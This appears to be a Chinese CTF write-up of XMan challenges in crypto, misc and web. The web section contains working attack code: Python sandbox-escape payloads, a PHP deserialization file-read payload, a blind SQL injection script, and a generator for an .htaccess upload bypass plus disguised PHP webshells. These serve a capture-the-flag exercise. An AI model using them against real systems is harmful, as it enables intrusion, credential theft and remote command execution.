第四届XMan个人排位赛 部分题解

今天有丶累,但是吃了牛排加看了两场电影有些开心。

Crypto

commom_encrypt

给了一个密文和一个加密脚本,看了一下,一个简单的分组异或而已,直接利用原加密函数爆破一遍,然后栅栏解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# encoding: utf-8
c = 'f^n2ekass:iy~>w|`ef"${Ip)8if'

def encrypt(data, groupnums):
a = []
b = []
section = int(len(data) / groupnums)
for i in range(0, len(data), section):
a.append(data[i:i + section])
for i in range(section):
for j in range(groupnums):
b.append(a[j][i])
cipher = (''.join(chr(ord(b[i]) ^ i) for i in range(len(b))))
return cipher

for i in range(1, 255):
try:
e = encrypt(c, i)
elen = len(e)
field = []
for i in range(2, elen):
if (elen % i == 0):
field.append(i)

for f in field:
b = elen / f
result = {x: '' for x in range(b)}
for i in range(elen):
a = i % b
result.update({a: result[a] + e[i]})
d = ''
for i in range(b):
d = d + result[i]
if "flag" in d:
print d
except:
pass

得到flag{crypt0_1s_1nt3r3st1ng!}

Misc

onion’s_secret

解压后得到图片,binwalk后得到压缩包和hint.txt,打开提示了有一位需要爆破的密码,爆破解压后又是一个压缩包,看来是要写脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# encoding: utf-8
import zipfile
import os

path="./onion/"
pw = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
count = 1
while 1:
filename = path + "/onion.zip"
zFile = zipfile.ZipFile(filename)
hint = open(path + "/hint.txt").read().split(" ")[-1].split("?")
for i in pw:
password = hint[0] + i + hint[1]
try:
zFile.extractall(path="./onion/" + str(count) + "/", pwd=password)
path = "./onion/" + str(count) + "/"
count += 1
print password
except:
pass

得到flag{b64a485e800ab8d3ac4d5b059c33305d}

strange_ssid

根据题目提示,写个脚本提取了一下ssid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# encoding: utf-8
from scapy.all import *

try:
import scapy_http.http
except ImportError:
from scapy.layers import http

packets = rdpcap("./ctf.pcap")

f = open("res.txt", "w")
for packet in packets:
if "802.11 Information Element" in packet:
f.write(str(packet).split(" ")[-1] + "\n")

试了几个逐位异或之类的无果,然后突然发现ssid的长度是32位的,于是猜测是md5,正则匹配全文就只有一组数据符合条件,且有解密结果,遂尝试提交为flag,答案正确。

Web

escape

一个python沙箱逃逸,测试发现ban了许多方法。

1
banned:  ["'", '"', '.', 'reload', 'open', 'input', 'file', 'if', 'else', 'eval', 'exit', 'import', 'quit', 'exec', 'code', 'const', 'vars', 'str', 'chr', 'ord', 'local', 'global', 'join', 'format', 'replace', 'translate', 'try', 'except', 'with', 'content', 'frame', 'back']
解法1

ban了很多,包括单双引号以及点,导致找不到地方输入字符串,苦思冥想后发现似乎可以截取系统变量名和方法名来拼接字符串,且getattr()方法未被过滤,因此尝试构造如下字符串。

1
print(getattr(os,"system")("ls"))

fuzz一下,截取如下变量名拼接字符串。

1
2
3
4
5
6
7
8
9
dir(0)[0][4]  //s
filtered[26][2] //y
dir(0)[5][4] //s
dir(0)[6][-5] //t
dir(0)[5][4] //e
dir(0)[4][3] //m

dir(0)[3][3] //l
dir(0)[0][4] //s

然后就可以成功逃逸。

1
2
3
4
5
system = dir(0)[0][4] + filtered[26][2] + dir(0)[0][4] + dir(0)[6][-5] + dir(0)[5][4] + dir(0)[4][3]

ls = dir(0)[3][3] + dir(0)[0][4]

print getattr(os,system)(ls)

发现flag刚好在当前目录下,于是继续拼接字符串。

1
2
3
cat_flag = dir(0)[3][2] + dir(0)[0][2] + dir(0)[6][-5] + s[-3] + dir(0)[10][2] + dir(0)[3][3] + dir(0)[0][2] + dir(0)[13][2]

print getattr(os,system)(cat_flag)

得到flag{4EEAA88DA0B3207862D2E4876AF84A3D}

解法2

直接使用del filtered[:]或者filtered=[]删除过滤器,然后os.system(‘cat /flag’)

ezphp

简单反序列化,源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Hello {
protected $a;

function test() {
$b = strpos($this->a, 'flag');
if($b) {
die("Bye!");
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $this->a);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 5);
echo curl_exec($c);
}

function __destruct(){
$this->test();
}
}

if (isset($_GET["z"])) {
unserialize($_GET["z"]);
} else {
highlight_file(__FILE__);
}

然后是Payload

1
2
3
4
5
6
7
8
9
10
<?php

class Hello
{
protected $a = ("file:///%66%6c%61%67");
}

echo urlencode(serialize(new Hello()));

// /?z=O%3A5%3A"Hello"%3A1%3A%7Bs%3A4%3A"%00%2A%00a"%3Bs%3A20%3A"file%3A%2F%2F%2F%2566%256c%2561%2567"%3B%7D

得到flag{ea40e3f71bd54d9d1fcfbc8e22d8f7cf}

profile

右键源代码得到一个测试账号,登陆后发现在cookie中存在一个序列化字符串,测试后发现存在sql注入,Sqlite的数据库,附上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# encoding: utf-8

import requests
import sys
import base64

url = "http://47.97.253.115:10007/index.php"
result = ''
command = "select password from users limit 1,1"
for i in range(1, 40):
payload = "' and substr(({command}),{position},1)>0 --"
userinfo = "{\"username\":\"test" + payload.format(command=command, position=str(i)) + "\",\"password\":\"test\"}"
userinfo = base64.b64encode(userinfo)
cookies = {"userinfo": userinfo}
r = requests.get(url=url, cookies=cookies)
if "Welcome" in r.text:
min = 1
max = 256
while min < max:
cookie = "{\"username\":\"test'{payload}\",\"password\":\"test\"}"
payload = "' and substr(({command}),{position},1){operator}'{mid}' --"
if (max - min == 1):
userinfo = "{\"username\":\"test" + payload.format(command=command, position=str(i), operator="=",
mid=chr(mid)) + "\",\"password\":\"test\"}"
cookies = {"userinfo": base64.b64encode(userinfo)}
r = requests.get(url=url, cookies=cookies)
if "Welcome" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
userinfo = "{\"username\":\"test" + payload.format(command=command, position=str(i), operator=">",
mid=chr(mid)) + "\",\"password\":\"test\"}"
cookies = {"userinfo": base64.b64encode(userinfo)}
r = requests.get(url=url, cookies=cookies)
if "Welcome" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

得到用户名和密码为zzadminphptxdy,进去之后是一个文件上传,右键源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$userdir = "images/".md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir);
}
if ($isadmin && isset($_POST["upload"])){
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
$extension = substr($name,strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)){
die("hacker go away!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("hacker go away!");
}
$this_file = fopen($tmp_name,"rb");
$bin = fread($this_file, 1);
fclose($this_file);
$str_into = @unpack("C1chars",$bin);
if($str_into["chars"]==0) {
die("hacker go away!");
}
$image_type = exif_imagetype($tmp_name);
if(!$image_type){
die("hacker go away!");
}
$upload_file_path = $userdir."/".$name;
move_uploaded_file($tmp_name, $upload_file_path);
}

没啥思路,随手搜了一下发现了writeup,改改脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()

generate_php_file("webshell.south", "<?php system($_GET['cmd']); die(); ?>")
generate_php_file("scandir.south", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>")
generate_php_file("getfile.south", "<?php echo file_get_contents($_GET['file']); die(); ?>")
generate_php_file("info.south", "<?php phpinfo(); die(); ?>")

采用xbm格式【X Bit Map,绕过exif_imagetype()方法的检测,上传.htaccess文件来解析🐎。

在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题【.h文件中,每个图像在标题中存储一个数组。

也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:

1
2
3
#define test_width 16
#define test_height 7
static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };

再利用不同编码写🐎来绕过文件头的字符串检测。

先传.htaccess,再传webshell.south,然后?cmd=cat%20/flag,得到flag{e7ae3e5e43b6de4bc0a83c6ade652bdf}

Refer

Insomni’hack CTF-l33t-hoster复现分析

python 沙盒逃逸 / SSTI